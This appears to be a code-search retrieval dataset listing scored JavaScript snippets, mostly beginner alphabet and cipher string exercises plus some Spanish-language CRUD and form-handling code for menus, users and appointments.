input.map((letter) => {\n //go through each letter of the encoded message\n let oldIndex = newAlphabet.indexOf(letter); //find the index the letter is in the new alphabet\n if (oldIndex === -1) return letter; //if nothing found, just return that letter, like space\n return oldAlphabet[oldIndex]; //return thecharacter that matched the index in the old alphabet\n });\n return message.join(\"\"); //return the decoded message as a string\n }\n }", "title": "" }, { "docid": "26e451e8c54cfccaf2c4a003cd7887c8", "score": "0.60859907", "text": "function insertMissingLetters (str){\n let results = []\n let alphabet = Array.from(\"abcdefghijklmnopqrstuvwxyz\")\n for (var i = 0; i < str.length; i++){\n let letter = str[i] \n if (!results.includes(letter)) {\n results.push(letter)\n let startAlphabet = alphabet.indexOf(letter)\n for(var j = startAlphabet + 1; j < alphabet.length; j++) {\n results.push(alphabet[j].toUpperCase())\n }\n } else {\n results.push(letter)\n }\n }\n return results;\n}", "title": "" }, { "docid": "6135785bfb04abcff48da04ef404cb9a", "score": "0.60854626", "text": "function position(letter){\n return \"Position of alphabet: \" + ((letter.charCodeAt(0)-97) + 1);\n}", "title": "" }, { "docid": "85d8bb9cafe7cdf774f65f7a259721d8", "score": "0.6072532", "text": "function letterChecker(str) {\n\n // NOTE sorts string by converting it to an array, sorting that array, and joing it back into a string\n\n let sorted = str.split('').sort().join('')\n let charCode = sorted.charCodeAt(0)\n for (let i = 0; i < str.length; i++) {\n console.log(sorted.charCodeAt(i), sorted.charAt(i));\n if (charCode != sorted.charCodeAt(i)) {\n return String.fromCharCode(charCode)\n }\n charCode++\n }\n}", "title": "" }, { "docid": "b4cc14a9b5f3b107e2991ee330650492", "score": "0.6066554", "text": "function ConsonantPositionShift(aplhaCharacters, word){\r\n let stringArray =[];\r\n let changed = false;// boolean checker\r\n\r\n // to split the string into an array\r\n for (var y = word.length - 1; y >= 0; y--){\r\n stringArray.push(word[y]);\r\n }\r\n stringArray.reverse();\r\n \r\n //shifitng the position of each array element that is a consonant\r\n for(var x = 0; x < stringArray.length; x++){\r\n var startString = stringArray[x];\r\n //checking to find the consnants and changing its position\r\n if (!(startString === \"a\" || startString === \"e\" || startString === \"i\" || startString === \"o\" || startString === \"u\")){\r\n for (var z = 0; z < aplhaCharacters.length; z++){\r\n if(startString === aplhaCharacters[z]){\r\n stringArray[x] = aplhaCharacters[z+1];\r\n changed = true;\r\n \r\n //performing a double check\r\n if (changed === true && (stringArray[x] === \"a\" || stringArray[x] === \"e\" || stringArray[x] === \"i\" || stringArray[x] === \"o\" || stringArray[x] === \"u\")){\r\n stringArray[x] = aplhaCharacters[z+2];\r\n }\r\n \r\n changed = false;\r\n }\r\n }\r\n }\r\n \r\n }\r\n\r\n //turning the array back into a string and returning the result\r\n let result = \"\";\r\n for (var n = 0; n < stringArray.length; n++){\r\n result = stringArray.join('');\r\n }\r\n\r\n return result;\r\n}", "title": "" }, { "docid": "8d38f2dced761c0d1ae9dbf72afe8487", "score": "0.60526025", "text": "function position(letter){\n //Write your own Code!\n return \"Position of alphabet: \" + (letter.charCodeAt()-96)\n }", "title": "" }, { "docid": "c66d6b3d77f2864cfc122883aa3a1fd8", "score": "0.60233545", "text": "function myReplace(str, before, after) {\n\tlet begin = str.toLowerCase().indexOf(before.toLowerCase());\n\t//console.log(begin);\n\tlet substr = str.substring(begin, begin + before.length);\n\t//console.log(substr);\n\tif (/[A-Z]/.test(substr[0])) {\n\t\tafter = after[0].toUpperCase() + after.substr(1);\n\t}\n\t//console.log(str.replace(substr, after).length);\n\treturn str.replace(substr, after);\n}", "title": "" }, { "docid": "f42f7873c04a6fd6df0ed9bebeafa1a4", "score": "0.6021613", "text": "function letter(text) {\n let words = candidates(text);\n let chars = words.map(word => word.substring(text.length, text.length+1));\n chars = chars.filter(l => alphabetic(l));\n return chars[Math.floor(Math.random()*chars.length)];\n}", "title": "" }, { "docid": "a550c9219da85efd604098c0076c6485", "score": "0.6016479", "text": "function obfuscate(string) {\n let words = \"\";\n for (var i = 0 ; i < string.length ; i++) {\n // go through the string each letter at a time\n if (string[i] === \"a\") {\n words = words + \"4\";\n } else if (string[i] === \"e\") {\n words = words + \"3\";\n } else if (string[i] === \"o\") {\n words = words + \"0\";\n } else if (string[i] === \"l\") {\n words = words + \"1\";\n } else {\n words = words + string[i]; // when there is nothing to change, keep the original letter\n }\n }\n return words;\n}", "title": "" }, { "docid": "d47644edfa021fccf04bb0b999bf398e", "score": "0.6015115", "text": "function wordSetter(currentWord, letter) {\n\tvar newString = dynamicWord;\n\n\tfor(var i = 0; i < currentWord.length; i++) {\n\n\t\tvar place = currentWord.charAt([i]);\n\n\t\tif(place === letter) {\n\t\t\tconsole.log(\"dynamicWord: \" + dynamicWord);\n\t\t\tnewString = newString.replaceAt(i, letter);\n\t\t\tconsole.log(\"newString: \" + newString);\n\t\t} \n\t}\n\treturn newString;\n}", "title": "" }, { "docid": "b0ffb750aa0f95972068d01add7e933f", "score": "0.6013745", "text": "function fearNoLetter(str){\n\n\tlet alphaToNum = {\n a: 1, b: 2, c: 3, d: 4, e: 5, f: 6, g: 7, h: 8, i: 9, j: 10, k: 11, \n l: 12, m: 13, n: 14,o: 15, p: 16, q: 17, r: 18, s: 19, t: 20, \n u: 21, v: 22, w: 23, x: 24, y: 25, z: 26\n };\n\n let numToAlpha = {\n 1:'a' , 2:'b', 3:'c', 4:'d', 5:'e', 6:'f', 7:'g', 8:'h', 9:'i', 10:'j',\n 11:'k', 12:'l', 13:'m', 14:'n', 15:'o', 16:'p', 17:'q', 18:'r', 19:'s',\n 20:'t', 21:'u', 22:'v', 23:'w', 24:'x:', 25:'y', 26:'z'\n };\n\n\tlet tempArr = str.match(/\\w/g);\n\n\tfor(let i = 0; i < tempArr.length-1; i++){\n\t\tif ( (alphaToNum[tempArr[i]] - alphaToNum[tempArr[i+1]]) < -1){\n\t\t\t\n\t\t\treturn numToAlpha[alphaToNum[tempArr[i]] + 1];\n\t\t} \n\t}\n\n\treturn undefined;\n}", "title": "" }, { "docid": "bb56c78b62621f6322e9047e872ac3b8", "score": "0.6012426", "text": "function alphabet (str){\n switch(str){\n case '·': return 'E';\n case '-': return 'T';\n case '··': return 'I';\n case '·-': return 'A';\n case '-·': return 'N';\n case '--': return 'M';\n case '···': return 'S';\n case '-··': return 'D';\n case '·-·': return 'R';\n case '--·': return 'G';\n case '··-': return 'U';\n case '-·-': return 'K';\n case '·--': return 'W';\n case '---': return 'O';\n case '····': return 'H';\n case '-···': return 'B';\n case '·-··': return 'L';\n case '--··': return 'Z';\n case '··-·': return 'F';\n case '-·-·': return 'C';\n case '·--·': return 'P';\n case '···-': return 'V';\n case '-··-': return 'X';\n case '--·-': return 'Q';\n case '-·--': return 'Y';\n case '·---': return 'J';\n case '·----': return '1';\n case '··---': return '2';\n case '···--': return '3';\n case '····-': return '4';\n case '·····': return '5';\n case '-····': return '6';\n case '--···': return '7';\n case '---··': return '8';\n case '----·': return '9';\n case '-----': return '0';\n }\n}", "title": "" }, { "docid": "e737286044ab74e563f5828d0e069f50", "score": "0.60111564", "text": "function myReplace(str, before, after) {\n let index = str.indexOf(before); //Get the index of before\n if (str[index] === str[index].toUpperCase()) { //If the index letter is capital\n after = after.charAt(0).toUpperCase() + after.slice(1); //Change after to capital\n }\n\n let newStr = str.replace(before, after); //Create new string reaplacing before with after\n console.log(newStr);\n return newStr;\n}", "title": "" }, { "docid": "d00be955cd8f12752d5835b232d4caa3", "score": "0.6011144", "text": "function alphabetPosition(text, posicion) {\n rotarIzq = 27 - posicion;\n text.split(\"\");\n var char = \"\";\n var arr = [];\n var alfabeto = \"abcdefghijklmnñopqrstuvwxyz\".split('');\n\n for (var i = 0; i < text.length; i++) {\n char = text.charAt(i).toLowerCase();\n\n if (alfabeto.indexOf(char) > -1) {\n var letra = alfabeto.indexOf(char) + rotarIzq;\n if (letra >= 27) {\n letra = letra - 27;\n }\n arr.push(alfabeto[letra]);\n var arr2 = arr.join(\"\");\n }\n }\n return arr2;\n }", "title": "" }, { "docid": "d99497063fda3f5e4d02a6a819fcafb7", "score": "0.5985474", "text": "function substitution(input, alphabet, encode = true) {\n let al = \"abcdefghijklmnopqrstuvwxyz\".split(\"\")\n let output = \"\"\n let loweredInput = input.toLowerCase()\n if(alphabet === undefined){\n return false\n }\n let alpha = alphabet.split(\"\")\n if(alphabet.length != 26 || alpha.some(function(v,i,a){return a.lastIndexOf(v)!=i})) {\n return false\n }\n if(encode == true){\n for(let i = 0; i < loweredInput.length; i++){\n if(loweredInput[i].match(/[a-z]/i)) {\n for(let j = 0; j < al.length; j++){\n if(loweredInput[i] === al[j]){\n let c = alpha[j]\n output += c\n }\n }\n }\n else{\n output += loweredInput[i]\n }\n }\n }\n else if(encode == false){\n for(let i = 0; i < loweredInput.length; i++){\n if(loweredInput[i] === \" \"){\n output += loweredInput[i]\n }\n else{\n for(let j = 0; j < alpha.length; j++){\n if(loweredInput[i] === alpha[j]){\n let c = al[j]\n output += c\n }\n }\n }\n }\n }\n return output\n }", "title": "" } ]
c66bab6aa6a2d5115a07889b934f7625
Cria uma area de insercao de comentarios no perfil da disciplina escolhida pelo usuario
[ { "docid": "436078e75639be23b669f45c906af240", "score": "0.0", "text": "function comentarioPerfilInputCreator(id) {\n const input = document.createElement(\"input\")\n\n input.type = \"text\"\n input.id = \"comentarioPerfilInp\"\n input.placeholder = \"Escreva um comentario\"\n\n input.onkeyup = async function (event) {\n if (event.keyCode === 13) {\n await comentarPerfil(id, document.getElementById(\"comentarioPerfilInp\").value)\n await perfilModController(id)\n }\n }\n\n document.getElementById(\"perfilComentarioDiv\").appendChild(input)\n}", "title": "" } ]
[ { "docid": "358d9eeccea56fc7af0166d6921a9572", "score": "0.57873875", "text": "function insertData(user,giorno,pasto,menu_giorno,pasto_scelto) {\n //crea un user\n user.create({\n first_name: 'Rossi',\n last_name: 'Mario'\n });\n //crea giorni\n giorno.create({\n nome_giorno: 'lun'\n });\n giorno.create({\n nome_giorno: 'mar'\n });\n giorno.create({\n nome_giorno: 'mer'\n });\n giorno.create({\n nome_giorno: 'gio'\n });\n giorno.create({\n nome_giorno: 'ven'\n });\n giorno.create({\n nome_giorno: 'sab'\n });\n giorno.create({\n nome_giorno: 'dom'\n });\n\n //crea pasti\n //crea parimi\n pasto.create({\n nome_pasto: 'Pasta al pomodoro',\n tipo: 'primo',\n dettagli: 'Scaldate in una casseruola un velo di olio con uno spicchio di aglio sbucciato. Unite i pomodori non appena l\\'aglio comincia a sfrigolare. Aggiungete quindi una generosa presa di sale. Completate con un ciuffetto di basilico e mescolate; cuocete senza coperchio per 10 circa.'\n });\n pasto.create({\n nome_pasto: 'Pasta con la ricotta in bianco',\n tipo: 'primo',\n dettagli: 'La pasta con la ricotta in bianco è un esempio di come possa essere facile e veloce preparare un piatto di pasta veramente buono.'\n });\n pasto.create({\n nome_pasto: 'Minestrone',\n tipo: 'primo',\n dettagli: 'Il minestrone di verdure è un primo piatto salutare, di semplice ma lunga realizzazione, per via della pulizia e del taglio delle molte verdure!'\n });\n pasto.create({\n nome_pasto: 'Risotto',\n tipo: 'primo',\n dettagli: 'Il risotto è un primo piatto tipico della cucina italiana, diffuso in numerose versioni in tutto il paese anche se più consumato al nord.'\n });\n pasto.create({\n nome_pasto: 'Lasagna',\n tipo: 'primo',\n dettagli: 'Le lasagne al forno sono costituite da una sfoglia di pasta madre, oggi quasi sempre all\\'uovo, tagliata in fogli grossolanamente rettangolari (losanghe), dette lasagna le quali, una volta bollite e scolate, vengono disposte in una sequenza variabile di strati, ognuno dei quali separato da una farcitura che varia in relazione alle diverse tradizioni locali.'\n });\n //create secondo\n pasto.create({\n nome_pasto: 'Bistecca alla Fiorentina',\n tipo: 'secondo',\n dettagli: 'La bistecca alla fiorentina è un taglio di carne di vitellone o di scottona che, unito alla specifica preparazione, ne fa uno dei piatti più conosciuti della cucina toscana. Si tratta di un taglio alto comprensivo dell\\'osso, da cuocersi sulla brace o sulla griglia, con grado di cottura \"al sangue\".'\n });\n pasto.create({\n nome_pasto: 'Salmone in crosta',\n tipo: 'secondo',\n dettagli: 'Il salmone in crosta con spinaci è una delle ricette tipiche della vigilia e di Capodanno: durante queste occasioni non potrà di certo mancare il salmone! '\n });\n pasto.create({\n nome_pasto: 'Pollo al forno',\n tipo: 'secondo',\n dettagli: 'Le cosce di pollo al forno sono un tipico secondo piatto della cucina italiana, un classico per gustare il pollo con contorno di patate!'\n });\n pasto.create({\n nome_pasto: 'Arrosto di lonza',\n tipo: 'secondo',\n dettagli: 'Tradizionale, genuino e ricco di gusto. La lonza arrosto al vino bianco è davvero un piatto che non può mancare nella vostra lista dei manicaretti casalinghi. '\n });\n //create contorno\n pasto.create({\n nome_pasto: 'Patatine fritte',\n tipo: 'contorno',\n dettagli: 'Patatine fritte'\n });\n pasto.create({\n nome_pasto: 'Patate al forno',\n tipo: 'contorno',\n dettagli: 'patate al forno'\n });\n pasto.create({\n nome_pasto: 'Carote',\n tipo: 'contorno',\n dettagli: 'Carote'\n });\n pasto.create({\n nome_pasto: 'Fagiolini',\n tipo: 'contorno',\n dettagli: 'Fagiolini'\n });\n pasto.create({\n nome_pasto: 'Insalata',\n tipo: 'contorno',\n dettagli: 'Insalata verde fresca'\n });\n\n //create dolce\n pasto.create({\n nome_pasto: 'Budino',\n tipo: 'dolce',\n dettagli: 'Il budino è composto da una parte liquida, generalmente costituita da latte, da zucchero e da vari ingredienti o aromi che gli danno il gusto desiderato: frutta, cioccolato, nocciole, caramello, liquori, vaniglia ed altri ancora. A questi si uniscono spesso degli ingredienti che servono a legare il composto, cioè a renderlo più corposo e solido.'\n });\n pasto.create({\n nome_pasto: 'Yogurt',\n tipo: 'dolce',\n dettagli: 'Yogurt con tanti gusti'\n });\n pasto.create({\n nome_pasto: 'Frutta',\n tipo: 'dolce',\n dettagli: 'Frutta fresca'\n });\n pasto.create({\n nome_pasto: 'Crostata',\n tipo: 'dolce',\n dettagli: 'La crostata è un dolce tipico italiano basato su un impasto di pasta frolla coperto con confettura, crema o frutta fresca. Dolci simili sono diffusi in tutta Europa.'\n });\n\n //inserire menu_giorno in modo casuale\n random.init(0,18);\n for(var i=0;i<10;i++){\n var num=random.getNum();\n if(num>0){\n menu_giorno.create({\n pasto_id: num,\n giorno_id: 1\n });\n }\n }\n random.init(0,18);\n for(var i=0;i<10;i++){\n var num=random.getNum();\n if(num>0){\n menu_giorno.create({\n pasto_id: num,\n giorno_id: 2\n });\n }\n }\n random.init(0,18);\n for(var i=0;i<10;i++){\n var num=random.getNum();\n if(num>0){\n menu_giorno.create({\n pasto_id: num,\n giorno_id: 3\n });\n }\n }\n random.init(0,18);\n for(var i=0;i<10;i++){\n var num=random.getNum();\n if(num>0){\n menu_giorno.create({\n pasto_id: num,\n giorno_id: 4\n });\n }\n }\n random.init(0,18);\n for(var i=0;i<10;i++){\n var num=random.getNum();\n if(num>0){\n menu_giorno.create({\n pasto_id: num,\n giorno_id: 5\n });\n }\n }\n random.init(0,18);\n for(var i=0;i<10;i++){\n var num=random.getNum();\n if(num>0){\n menu_giorno.create({\n pasto_id: num,\n giorno_id: 6\n });\n }\n }\n random.init(0,18);\n for(var i=0;i<10;i++){\n var num=random.getNum();\n if(num>0){\n menu_giorno.create({\n pasto_id: num,\n giorno_id: 7\n });\n }\n }\n}", "title": "" }, { "docid": "dbdc959ad121eb28a5e869d24ed4b28e", "score": "0.55672675", "text": "function criaUser() {\r\n var Usuarios = {\r\n email: formcliente.email.value,\r\n nome: formcliente.nome.value,\r\n pontos: formcliente.pontos.value,\r\n senha: formcliente.senha.value,\r\n sexo : formcliente.sexo.value\r\n };\r\n addUser(Usuarios);\r\n}", "title": "" }, { "docid": "68b752185c84a860021515a946aa57c1", "score": "0.5526087", "text": "function asociarPermisoAUsuario(usersSelected){\n\n var form = document.getElementById(\"form_mis_tablones\");\n var e;\n var nombre;\n var text;\n var input;\n\n //alert(document.getElementById(\"paraeliminar\"));\n\n if(document.getElementById(\"paraeliminar\") != null){//si existe\n\n form.removeChild(document.getElementById(\"paraeliminar\"));\n }\n\n/*creo un div dinámicamente, estoy me favorece mucho a la hora de eliminar después todos sus nodos para reescribirlos*/\n e = document.createElement(\"div\");\n e.id = \"paraeliminar\";\n form.appendChild(e);\n \n\n /*creo un salto de linea*/\n var p = document.createElement(\"p\"); \n e.appendChild(p);\n /**/\n\n /*crea la cadena: Asociar permiso a usuario:*/\n var p = document.createElement(\"p\"); \n var b = document.createElement(\"b\");\n b.name= \"eliminar\";\n var asociarCadena = document.createTextNode(\"Asociar permiso a usuario:\");\n b.appendChild(asociarCadena);\n e.appendChild(b);\n\n\n for(var i = 0; i<usersSelected.length; i++){\n\n /*creo un salto de linea*/\n var p = document.createElement(\"p\"); \n p.name = \"eliminar\";\n e.appendChild(p);\n /**/\n\n\n nombre = document.createTextNode(usersSelected[i].name + \" \" + usersSelected[i].surname1 + \" \" + usersSelected[i].surname2);\n e.appendChild(nombre);\n\n \n /*creo un salto de linea*/\n var p = document.createElement(\"p\"); \n e.appendChild(p);\n /**/\n\n input = document.createElement('input' );\n input.type = \"checkbox\";\n input.name = usersSelected[i].id;\n input.value = \"1\";\n\n\n e.appendChild(document.createTextNode(\"Lectura local\"));\n e.appendChild(input);\n\n\n input = document.createElement('input' );\n input.type = \"checkbox\";\n input.name = usersSelected[i].id;\n input.value = \"2\";\n\n e.appendChild(document.createTextNode(\"Escritura local\"));\n e.appendChild(input);\n\n\n input = document.createElement('input' );\n input.type = \"checkbox\";\n input.name = usersSelected[i].id;\n input.value = \"4\";\n\n e.appendChild(document.createTextNode(\"Lectura remota\"));\n e.appendChild(input);\n\n\n input = document.createElement('input' );\n input.type = \"checkbox\";\n input.name = usersSelected[i].id;\n input.value = \"8\";\n\n e.appendChild(document.createTextNode(\"Escritura remota\"));\n e.appendChild(input);\n\n \n //alert(\"undefined? : \" + usersSelected[i].name);\n\n //checkbox.id = \"id\";\n\n\n \n\n e.appendChild(input);\n }\n\n}", "title": "" }, { "docid": "f9cf2e11aaaed60c0132492cb97e0ae4", "score": "0.55148673", "text": "'ofertas.insert'(oferta) {\n \n // Seguridad para la acción.\n if (! this.userId) {\n throw new Meteor.Error('[Ofertas] Usuario No Autorizado');\n }\n\n let o_id = new Meteor.Collection.ObjectID();\n oferta[\"_id\"] = o_id;\n\n //Ejecutar la accion en la base de datos sobre la colleccion.\n Ofertas.insert(oferta);\n }", "title": "" }, { "docid": "73559168352614a3109c81e7a9aba7d3", "score": "0.55086356", "text": "function AdicionaNivelFeiticoConhecido(\n chave_classe, precisa_conhecer, div_conhecidos, indice_filho) {\n var nivel = indice_filho + (tabelas_feiticos[chave_classe].possui_nivel_zero ? 0 : 1);\n var feiticos_conhecidos =\n gPersonagem.feiticos[chave_classe].conhecidos[nivel];\n // Se não precisa conhecer, o jogador pode adicionar feiticos como se fosse um grimório.\n if (feiticos_conhecidos.length == 0 && precisa_conhecer) {\n return;\n }\n var div_nivel = CriaDiv();\n div_nivel.appendChild(CriaSpan(Traduz('Nível') + ' ' + nivel + ':'));\n if (!precisa_conhecer) {\n div_nivel.appendChild(CriaBotao('+', null, null, function() {\n if (gEntradas.feiticos_conhecidos[chave_classe] == null) {\n gEntradas.feiticos_conhecidos[chave_classe] = {};\n }\n if (gEntradas.feiticos_conhecidos[chave_classe][nivel] == null) {\n gEntradas.feiticos_conhecidos[chave_classe][nivel] = [];\n }\n gEntradas.feiticos_conhecidos[chave_classe][nivel].push('');\n AtualizaGeralSemLerEntradas();\n }));\n }\n div_nivel.appendChild(CriaBr());\n div_nivel.appendChild(CriaDiv('div-feiticos-conhecidos-' + chave_classe + '-' + nivel));\n div_conhecidos.appendChild(div_nivel);\n}", "title": "" }, { "docid": "4a20c28f4e2cef363bf2dcf1a98c26be", "score": "0.5470609", "text": "function inserisciOspitiDaAccettare(listaOfferte){\r\n //nascondo gli esempi\r\n $(\"#div-offerta-da-accettare-esempio\").css('display','none');\r\n for(var i=0;i < listaOfferte.length;i++){\r\n var docId = listaOfferte[i].id;\r\n\r\n //Se l'ospite ancora non esiste e se l'offerta non è stata caricata la carico\r\n if(!listaOfferte[i].value.ospitato && !offerteInCuiUtentePresente[docId]){\r\n offerteInCuiUtentePresente[docId] = listaOfferte[i].value;\r\n creaWrapperPerOfferta(listaOfferte[i].value);\r\n }\r\n\r\n }\r\n}", "title": "" }, { "docid": "a42fe65139041609bbf6ce1678468b12", "score": "0.5443218", "text": "function agregar(usuario) {\n let data = {\n 'thing': usuario\n };\n\n fetch(`${baseUrl}/${groupID}/${collectionID}`, {\n 'method': 'POST',\n 'headers': {\n 'content-type': 'application/json'\n },\n 'body': JSON.stringify(data)\n }).then(res => {\n return res.json();\n }).then(dato => {\n precargarUsers();\n }).catch((error) => {\n console.log(error);\n })\n\n document.querySelector(\"#userName\").value = \"\";\n document.querySelector(\"#resetsUser\").value = \"\";\n document.querySelector(\"#viplevelUser\").value = \"\";\n document.querySelector(\"#levelUser\").value = \"\";\n }", "title": "" }, { "docid": "592311924f4f560c7ab22b23cb4801aa", "score": "0.54330075", "text": "function agregarCita(e) {\n\n e.preventDefault();\n // extraer la información del objeto de citas\n const {mascota,propietario,telefono,fecha,hora,sintomas} = citaObj;\n\n // validar\n if(mascota === '' || propietario === '' || telefono === '' || fecha === '' || hora === '' || sintomas === '') {\n ui.imprimirAlerta('Todos los campos son obligatorios','error');\n return;\n }\n\n if(editando) {\n // imprimir mensaje de agregado\n ui.imprimirAlerta('La cita se editó correctamente');\n \n // pasar el objeto de la cita a ediccion\n administrarCitas.editarCita({...citaObj});\n\n // regresar el botón a su estado original\n form.querySelector('button[type=\"submit\"]').textContent = 'Crear cita';\n\n // quitar modo edición\n editando = false;\n } else {\n // crear id único\n citaObj.id = Date.now();\n\n // agregando una nueva cita\n administrarCitas.crearCita({...citaObj});\n\n // imprimir mensaje de agregado\n ui.imprimirAlerta('La cita se agregó correctamente');\n }\n\n \n \n // reiniciar objeto de validación\n reiniciarObjeto();\n\n // reiniciar formulario\n form.reset();\n\n // mostrar html de las citas\n ui.imprimirCitas(administrarCitas);\n}", "title": "" }, { "docid": "21e5039251fc88f12569e934e16fed53", "score": "0.5411559", "text": "function usuario_agregar(formulario, accion){\n crud_usuario_maskara = new Ext.LoadMask(crud_usuario_formpanel.getEl(), {\n msg: 'Cargando...',\n removeMask: true\n });\n crud_usuario_maskara.show();\n setTimeout('crud_usuario_maskara.hide()', 500);\n var usuario_titulo_Panel = 'Nuevo usuario';\n Ext.getCmp('crud_usuario_formpanel').setTitle(usuario_titulo_Panel);\n crud_usuario_formpanel.getForm().reset();\n Ext.getCmp('usu_login').setDisabled(false);\n Ext.getCmp('usu_password').setDisabled(false);\n Ext.getCmp('usu_repassword').setDisabled(false);\n Ext.getCmp('usu_per_codigo').setDisabled(false);\n \n //manejo de habilitado por defecto\n Ext.getCmp('usu_habilitado_si').setDisabled(false);\n Ext.getCmp('usu_habilitado_no').setDisabled(false);\n Ext.getCmp('usu_habilitado_si').setValue(true);\n Ext.getCmp('usu_habilitado_no').setValue(false);\n Ext.getCmp('crud_usuario_guardar_boton').setText('Crear');\n}", "title": "" }, { "docid": "b2020b706ca7154178e4b0d345fa72b9", "score": "0.5403136", "text": "crearUsuario() {\n if (this.lista_usuario.findIndex(usuario => usuario.id == this.usuario.id) === -1) {\n let calculo = (this.usuario.peso / (this.usuario.estatura * this.usuario.estatura)) * 10000;\n this.x = calculo.toFixed(2)\n this.usuario.IMC = this.x\n this.lista_usuario.push(this.usuario)\n this.usuario = {\n tipoidentificacion: \"\",\n id: \"\",\n nombres: \"\",\n apellidos: \"\",\n correo: \"\",\n peso: \"\",\n estatura: \"\",\n IMC: \"\",\n acciones: true\n };\n this.saveLocalStorage();\n this.estado = \"\"\n }\n else {\n alert('Este usuario ya se encuentra Registrado')\n }\n }", "title": "" }, { "docid": "5e2ee202d8db60a1cb5854d8b2b36e0a", "score": "0.53678685", "text": "function User_Insert_Profils_de_droits_Droits_2(Compo_Maitre)\n{\n\n/*\n***** INFOS ******\n\nNbr d'esclaves = 5\n\nId dans le tab: 94;\nsimple\nNbr Jointure: 1;\n Joint n° 0 = groupetable,gt_numero,gt_numero\n\nId dans le tab: 95;\nsimple\nNbr Jointure: PAS DE JOINTURE;\n\nId dans le tab: 96;\nsimple\nNbr Jointure: PAS DE JOINTURE;\n\nId dans le tab: 97;\nsimple\nNbr Jointure: PAS DE JOINTURE;\n\nId dans le tab: 98;\nsimple\nNbr Jointure: PAS DE JOINTURE;\n\n******************\n*/\n\n var Table=\"droit\";\n var CleMaitre = TAB_COMPO_PPTES[91].NewCle;\n var NomCleMaitre = DePrefixerChamp(Compo_Maitre.getCle());\n /* COMPOSANT LISTE AVEC JOINTURE SIMPLE */\n var gt_numero=GetValAt(94);\n if (gt_numero==\"-1\")\n gt_numero=\"null\";\n if (!ValiderChampsObligatoire(Table,\"gt_numero\",TAB_GLOBAL_COMPO[94],gt_numero,true))\n \treturn -1;\n var dr_select=GetValAt(95);\n if (!ValiderChampsObligatoire(Table,\"dr_select\",TAB_GLOBAL_COMPO[95],dr_select,false))\n \treturn -1;\n if (!ValiderChampsType(Table,\"dr_select\",TAB_GLOBAL_COMPO[95],dr_select))\n \treturn -1;\n var dr_insert=GetValAt(96);\n if (!ValiderChampsObligatoire(Table,\"dr_insert\",TAB_GLOBAL_COMPO[96],dr_insert,false))\n \treturn -1;\n if (!ValiderChampsType(Table,\"dr_insert\",TAB_GLOBAL_COMPO[96],dr_insert))\n \treturn -1;\n var dr_update=GetValAt(97);\n if (!ValiderChampsObligatoire(Table,\"dr_update\",TAB_GLOBAL_COMPO[97],dr_update,false))\n \treturn -1;\n if (!ValiderChampsType(Table,\"dr_update\",TAB_GLOBAL_COMPO[97],dr_update))\n \treturn -1;\n var dr_delete=GetValAt(98);\n if (!ValiderChampsObligatoire(Table,\"dr_delete\",TAB_GLOBAL_COMPO[98],dr_delete,false))\n \treturn -1;\n if (!ValiderChampsType(Table,\"dr_delete\",TAB_GLOBAL_COMPO[98],dr_delete))\n \treturn -1;\n var Req=\"insert into \"+Table+\" \";\nvar TabInsertionEnPlus=new Array();\n Req+=\"(\"+NomCleMaitre+\",dp_numero,gt_numero,dr_select,dr_insert,dr_update,dr_delete\"+(TabInsertionEnPlus.length!=0?\",\"+TabInsertionEnPlus[0]:\"\")+\")\";\n Req+=\" values (\"+CleMaitre+\",\"+TAB_COMPO_PPTES[88].NewCle+\",\"+gt_numero+\",\"+(dr_select==\"true\" ? \"true\" : \"false\")+\",\"+(dr_insert==\"true\" ? \"true\" : \"false\")+\",\"+(dr_update==\"true\" ? \"true\" : \"false\")+\",\"+(dr_delete==\"true\" ? \"true\" : \"false\")+\"\"+(TabInsertionEnPlus.length!=0?\",\"+TabInsertionEnPlus[1]:\"\")+\")\";\n\n if (pgsql_update(Req)==0)\n\talert(\"Echec lors de l'insertion\");\nreturn CleMaitre;\n\n}", "title": "" }, { "docid": "f6e2e7de380281a973870c4172ce3421", "score": "0.53610307", "text": "function adicionar_busca_poligono()\n{\n\tremover_circunferencia();\n\tif(!creator)\n\t{\n\t\tcreator = new PolygonCreator(map);\n\t}\n}", "title": "" }, { "docid": "de268ab4bcec901fa38c64d07a59c43d", "score": "0.535785", "text": "verificaDados(){\n this.verificaEndereco();\n if(!this.verificaVazio()) this.criaMensagem('Campo vazio detectado', true);\n if(!this.verificaIdade()) this.criaMensagem('Proibido cadastro de menores de idade', true);\n if(!this.verificaCpf()) this.criaMensagem('Cpf deve ser válido', true);\n if(!this.verificaUsuario()) this.criaMensagem('Nome de usuario deve respeitar regras acima', true);\n if(!this.verificaSenhas()) this.criaMensagem('Senha deve ter os critérios acima', true)\n else{\n this.criaMensagem();\n // this.formulario.submit();\n }\n }", "title": "" }, { "docid": "d6c569b2dea3b6cb89d989d2760917ef", "score": "0.52918863", "text": "function registrar_esquema_comision(){\n\t\tenviarFormulario(\"#form_esquema_comision_registrar\", 'EsquemaComision/registrar_esquema_comision', '#cuadro2');\n\t}", "title": "" }, { "docid": "73dd2ba8dac2992786807d585d33b29e", "score": "0.52848226", "text": "function dibujarMarcadorUnico(coordenadas, estilo, sourceCapa) {\n sourceCapa.clear();\n var marcadorPtoInteres = drawFeature.getMarcadorByStyle(coordenadas, estilo);\n // le asignamos un id para poder recuperarlo mas facil\n marcadorPtoInteres.setId(0);\n addInteractionByFeature(marcadorPtoInteres);\n sourceCapa.addFeature(marcadorPtoInteres);\n vm.map.getView().setCenter(coordenadas);\n vm.map.getView().setZoom(ZOOM_PTO_INTERES);\n }", "title": "" }, { "docid": "5af209a87261a97a6018823a28ae6860", "score": "0.52610505", "text": "function accionCrear()\n\t{\n\n//\t\talert(\"accionCrear\");\n\t\tif(listado1.datos.length != 0)\n\t\t{\n\t\t\tvar orden = listado1.codSeleccionados();\n//\t\t\talert(\"Linea seleccionada \" + orden);\n\t\t\tset('frmPBuscarTiposError.hidOidCabeceraMatrizSel', orden);\n\t\t\tset('frmPBuscarTiposError.accion', 'crear');\n\t\t\tenviaSICC('frmPBuscarTiposError');\n\n\t\t}else\n\t\t{\n\t\t\talert(\"no hay seleccion: \" + listado1.datos.length);\n\t\t}\n\t}", "title": "" }, { "docid": "3af3383c19e8e7917aa2c397563947d6", "score": "0.5257977", "text": "function crearEmpleado() {\n\tvar name = document.getElementById(\"inputNombreEmpleado\").value;\n\tvar dni = document.getElementById(\"inputDniEmpleado\").value;\n\tvar telefono = document.getElementById(\"inputTelefono\").value;\n\tvar horasConsulta = document.getElementById(\"inputHorasConsulta\").value;\n\tvar actividades = document.getElementById(\"inputActividades\").value;\n\tvar horasClase = document.getElementById(\"inputHorasClase\").value;\n\tvar horasComun = document.getElementById(\"inputHorasComun\").value;\n\tvar 